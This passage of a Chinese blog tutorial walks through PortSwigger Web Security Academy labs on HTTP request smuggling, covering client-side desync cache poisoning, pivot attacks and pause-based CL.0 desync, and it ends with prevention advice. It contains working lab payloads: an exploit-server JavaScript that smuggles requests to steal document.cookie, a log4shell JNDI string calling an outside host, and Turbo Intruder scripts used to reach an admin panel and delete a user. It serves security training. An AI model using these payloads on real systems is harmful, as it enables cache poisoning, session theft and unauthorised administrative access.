这条301也是会被缓存的。我们发现登录的时候会从/resources/js/analytics.js导入JS脚本。所以我们回到刚才那个客户端异步的标签组,把走私前缀里的那个路径改成//[Exploit Server ID].exploit-server.net/eXpLoIt,然后把第二个请求的路径改成/resources/js/analytics.js。重放。
image.png
在浏览器中复现攻击
然后我们把上面的操作在浏览器搞一遍,不赘述了。我们发现它会跳转到Hello World页面,日志中有这三条。
image.png
然后我们重新进入Login页面,发现它的Location已经变成了我们指向的Exploit Server了,说明已经缓存投毒成功。
image.png
利用
我们先清一下缓存。然后因为login首次会被当成html加载,所以我们的js代码会被套在<script>里面,这里我们选择将其套在注释中,我们在Exploit Server中这样构造:

alert(document.cookie);
/*
<script>
    const labURL = "https://[靶机ID].h1-web-security-academy.net";
    const exploitHost = "[Exploit Server ID].exploit-server.net";

    if(window.name != 'skip'){
        window.name = 'skip';
        fetch(`${labURL}/..%2f`, { method: 'POST', body: `GET //${exploitHost}/eXpLoIt HTTP/1.1\r\nNatsuk0: natsuk0`, credentials: 'include', mode: 'no-cors' }).then(() => {location=`${labURL}/resources/js/analytics.js`} );
    } else {
        window.name = '';
        location = `${labURL}/login`;
    }
</script>
*/

保存,然后点击分发给受害者,成功在受害者那边实现客户端缓存投毒调用alert(document.cookie),成功解题,感觉没有上一题接管账号好玩诶。
image.png

针对内部基础设施的跳转攻击

大多数服务器端异步攻击涉及以一种只有使用Burp Repeater等工具才有可能的方式操纵HTTP。例如,不可能让某人的浏览器在User-Agent头中发送带有log4shell payload的请求:

GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}

这意味着这些攻击通常仅限于我们可以直接访问的网站。但是,如果该网站容易受到客户端异步的影响,我们可以通过诱导受害者的浏览器发送以下请求来达到预期的效果:

POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0 etc.
Content-Length: 86

GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}

由于所有请求都来自受害者的浏览器,这可能能够将攻击转向他们有权访问的任何网站。这包括位于受信任的内部网上或隐藏在基于IP的限制之后的站点。一些浏览器正在努力缓解这些类型的攻击,但这些可能只覆盖了部分。

基于暂停的异步攻击

看似安全的网站可能包含隐藏的异步漏洞,这些漏洞只有在暂停请求时才会暴露出来。
服务器通常配置有读取超时。如果他们在一定时间内没有收到更多数据,他们会将请求视为完整并发出响应,而不管他们被告知期望有多少字节。当服务器超时请求但保持连接打开以供重用时,可能会发生基于暂停的异步漏洞。在适当的条件下,此行为可以为服务器端和客户端异步攻击提供替代向量。

服务器端的基于暂停的异步

我们可以潜在地使用基于暂停的技术来引发类似CL.0的行为,从而允许为最初可能看起来安全的网站构建服务器端请求走私攻击。
这取决于以下条件:

  • 前端服务器必须立即将请求的每个字节转发给后端,而不是等到它收到完整的请求。

  • 前端服务器不得(或可以鼓励不要)在后端服务器之前使请求超时。

  • 后端服务器必须保持连接打开以便在读取超时后重新使用。

为了演示这种技术是如何工作的,让我们来看一个例子。以下是标准的CL.0请求走私探测:

POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /natsuk0 HTTP/1.1
Natsuk0: natsuk0

考虑一下如果我们将头发送到有漏洞的网站,但在发送正文之前暂停会发生什么。

  1. 前端将头转发给后端,然后继续等待Content-Length头承诺的剩余字节。

  2. 一段时间后,后端超时并发送响应,即使它只消耗了部分请求。此时,前端可能会或可能不会读取此响应并将其转发给我们。

  3. 我们最终发送正文,在本例中它包含一个基本的请求走私前缀。

  4. 前端服务器将此视为初始请求的延续,并将其转发到同一连接下的后端。

  5. 后端服务器已经响应了初始请求,因此假设这些字节是另一个请求的开始。

至此,我们已经有效地实现了CL.0异步,用请求前缀毒化了前端/后端连接。
我们发现,当服务器自己生成响应而不是将请求传递给应用程序时,它们更容易受到攻击。

测试基于暂停的CL.0漏洞

可以使用Burp Repeater测试基于暂停CL.0漏洞,但前提是前端服务器在生成后立即将后端的超时后响应转发给您,但情况并非总是如此。
梨子建议使用Turbo Intruder扩展,因为它可以让我们在请求中途暂停然后继续,而不管是否收到响应。

  1. 在Burp Repeater中,创建一个CL.0请求走私探测器,就像我们在上面的示例中使用的那样,然后将其发送到Turbo Intruder。

POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /natsuk0 HTTP/1.1
Natsuk0: natsuk0
  1. 在Turbo Intruder的Python编辑器面板中,调整请求引擎配置以设置以下选项:

concurrentConnections=1
requestsPerConnection=100
pipeline=False
  1. 让请求排队,将以下参数添加到queue()接口:
    例如,要在头后暂停60秒,请按如下方式对请求进行排队:

engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=60000)
  • pauseMarker - 希望Turbo Intruder在其后暂停的字符串列表。

    • pauseTime - 暂停的持续时间(以毫秒为单位)。

  1. 正常排队任意后续请求:

followUp = 'GET / HTTP/1.1\r\nHost: vulnerable-website.com\r\n\r\n'
engine.queue(followUp)
  1. 确保将所有响应记录到结果表:

def handleResponse(req, interesting):
    table.add(req)

当第一次开始攻击时,我们不会在表格中看到任何结果。但是,在指定的暂停持续时间之后,应该会看到两个结果。如果对第二个请求的响应与对走私前缀(在本例中为404)的预期匹配,则强烈表明异步成功。
我们可以使用pauseBefore参数指定偏移量,而不是使用pauseMarker指定基于字符串匹配的暂停。例如,我们可以通过指定与Content-Length相反的偏移量(pauseBefore=-34),在正文之前暂停。

配套靶场:服务器端基于暂停的请求走私

这道题是让我们利用基于暂停的CL.0异步漏洞越权删除carlos用户。我们还是分布走哈。
识别一个异步向量
我们从响应里能看出来,它中间件用的是Apache/2.4.52,这个是存在基于暂停的CL.0漏洞,可能会触发重定向。我们请求/resources就可以触发指向/resources/的重定向。然后我们把指向/resources的请求发到Turbo Intruder中。还是,切成POST请求,并且设置为keep-alive。然后在包体中加入一个走私前缀,指向/admin

POST /resources HTTP/1.1
Host: [靶机ID].web-security-academy.net
Cookie: session=[会话Cookie]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: CORRECT

GET /admin/ HTTP/1.1
Host: [靶机ID].web-security-academy.net

然后我们在下面代码区编辑以下代码:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=500,
                           pipeline=False
                           )

    engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
    engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)

上面代码意思就是在头的末尾\r\n\r\n以后暂停61秒。点击攻击,但是要61秒以后才能看到结果。我们会看到:

  1. 第一个是正常的302

  2. 第二个是对于/admin请求的响应,虽然还是会提示我们无权限,但是起码证明基于暂停的CL.0漏洞是存在的。

image.png
利用
我们返回代码区,把走私前缀里的那个Host改成localhost,重新发起攻击,发现可以成功访问管理员面板。
image.png
我们记下这个csrf token和删除carlos用户的参数。然后重新构造走私前缀,并且修改代码,让其只匹配到主请求的头结尾位置。
image.png
结果看到这样就是成功删除carlos用户了,解题成功,也是非常有意思的一道题!
image.png

客户端基于暂停的异步

理论上,可以执行基于暂停的CL.0异步的客户端变体。不幸的是,我们还没有找到一种可靠的方法让浏览器在请求中暂停。但是,有一种可能的解决方法——主动MITM攻击。
TLS提供的加密可能会阻止MITM读取传输中的流量,但没有什么可以阻止它们在从浏览器到Web服务器的途中延迟TCP数据包。通过简单地延迟最终数据包直到Web服务器发出响应,我们可以让浏览器连接异步。
这种攻击的流程类似于任何其他客户端异步攻击。用户访问恶意网站,导致其浏览器向目标站点发出一系列跨域请求。在这种情况下,我们需要故意填充第一个请求,以便操作系统将其拆分为多个TCP数据包。当控制填充时,就可以填充请求直到最终数据包具有不同的大小,这样就可以确定要延迟哪个数据包。

如何预防请求走私漏洞?

其实这个小节在第一次写这个专题的时候就有,但是梨子看到这次随着内容新增了不少,这一小节也有了更新。当前端服务器和后端服务器使用不同的机制来确定请求之间的边界时,就会出现HTTP请求走私漏洞。这可能是由于HTTP/1服务器是使用Content-Length头还是分块传输编码来确定每个请求的结束位置之间存在差异。在HTTP/2环境中,为后端降级HTTP/2请求的常见做法也充满了问题,并启用或简化了许多额外的攻击。
为防止HTTP请求走私漏洞,我们建议采取以下高级措施:

  • 使用HTTP/2端到端并尽可能禁用HTTP降级。HTTP/2使用稳健的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免HTTP降级,请确保根据HTTP/1.1规范验证重写的请求。例如,拒绝头中包含换行符、头名称中包含冒号以及请求方法中包含空格的请求。

  • 使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,并在此过程中关闭TCP连接。

  • 永远不要假设请求没有主体。这是CL.0和客户端异步漏洞的根本原因。

  • 如果在处理请求时触发服务器级异常,则默认丢弃连接。

  • 如果通过转发代理路由流量,请确保在可能的情况下启用上游HTTP/2。

总结

以上就是梨子去上PortSwigger网络安全学院系列之高级漏洞篇 - HTTP请求走私专题的全部内容啦,本专题前半段主要讲了HTTP请求走私攻击的原理、识别方法、构造方法、利用及防护,呼,可累死梨子了,居然更新了这么多,后半段更新的东西超级多,希望大家能够耐心地跟着梨子的步骤操作,如果有什么疑问可以在评论区留言或者加梨子的绿色小鸟APCEV5哦,这一专题先是更新了基于HTTP/2有哪些请求走私的场景,不过基本是基于HTTP/2降级到HTTP/1时出现的漏洞,HTTP/2本身是很安全的。然后讲的是响应队列投毒,就是通过请求走私的方式向响应队列中插入一个请求以至于我们会收到后续请求的响应,从而实现类似接管他人账号的效果。然后讲了利用CRLF在头里面塞入一些本不允许的头造成请求走私。然后讲了利用请求隧道的概念把后续请求的头带过来,这样我们就可以得到他们的cookie之类非常重要的信息。它也可以和web缓存投毒结合向用户投放xss payload。最后讲了浏览器驱动的请求走私,这个和前面的请求走私根本原理有一些区别,前面的是基于前后端对于请求边界的定义之间的差异导致的,而浏览器驱动的请求走私呢,是基于浏览器和前端服务器之间的差异导致的,但是这一类漏洞都需要借用重定向发送跨域请求来实现,也是非常有趣的漏洞啊。以上就是对高级漏洞篇更新部分的简单总结了,因为这一大块涉及到的知识非常复杂,所以梨子难免会在行文的时候有疏忽,希望大家不要介意哈,嘻嘻嘻。真心希望大家耐心地看完哦,梨子也是花了很多时间写的。那我们下一个专题再见啦。

# burpsuite # web安全 # HTTP请求走私
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录